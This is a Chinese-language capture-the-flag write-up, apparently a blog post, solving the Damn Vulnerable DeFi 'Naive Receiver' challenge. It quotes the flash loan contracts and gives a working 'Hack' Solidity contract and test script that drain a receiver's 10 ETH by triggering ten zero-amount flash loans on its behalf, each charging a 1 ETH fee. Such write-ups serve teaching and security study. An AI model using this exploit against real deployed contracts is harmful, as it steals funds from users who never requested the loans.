抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. issue

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the user’s contract. If possible, in a single transaction.

简单来说,就是要将贷款人手中的钱变成 0

题目链接

2. analysing

2.1 FlashLoanReceiver.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
assembly { // gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}

if (token != ETH)
revert UnsupportedCurrency();

uint256 amountToBeRepaid;
// 计算带偿还金额
unchecked {
amountToBeRepaid = amount + fee;
}

_executeActionDuringFlashLoan();

// Return funds to pool ==》 向借贷池还钱
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

解读:

贷款人还款的操作,还款 = 贷款数目 + 手续费

2.2 NaiveReceiverLenderPool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/** 闪电贷函数 */
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
// receiver 的 ETH 相对应
if (token != ETH)
revert UnsupportedCurrency();

// 当前合约的 balance
uint256 balanceBefore = address(this).balance;

// 向 receiver 转 amount 数目的金额
// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);

if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}

if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();

return true;
}

解读:

借贷池 闪电贷函数,贷款和还款在同一笔交易中,保证 贷款人还款之后的金额大于未贷款的金额。

3. solving

易知,每一笔贷款都需要缴纳 1ether的手续费,而用户只有 10ether,按理来说只要进行十次借贷操作就可以将用户手中的10个ether花光。如下:

1
2
3
4
5
6
7
 it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
let ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
await pool.flashLoan(receiver.address, ETH, 0, "0x");
}
});

这样,的结果也是正确的

image-20230710112629791

但是,题目要求在一笔交易中完成,那就很简单了,将这10次调用放在一个合约中即可。

Hack.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./FlashLoanReceiver.sol";
import "./NaiveReceiverLenderPool.sol";

contract Hack {

address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
function attack(address payable _pool, address payable _receiver) external {
for (uint256 i = 0; i < 10; i++) {
NaiveReceiverLenderPool(_pool).flashLoan(
IERC3156FlashBorrower(_receiver),
ETH,
0 ether,
""
);
}
}
}

naive-receiver.challenge.js

1
2
3
4
5
6
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const AttractContract = await ethers.getContractFactory('Hack', player);
const attracter = await AttractContract.deploy();
await attracter.attack(pool.address, receiver.address);
});

运行结果:

image-20230710112902252

解题成功。

评论



政策 · 统计 | 本站使用 Volantis 主题设计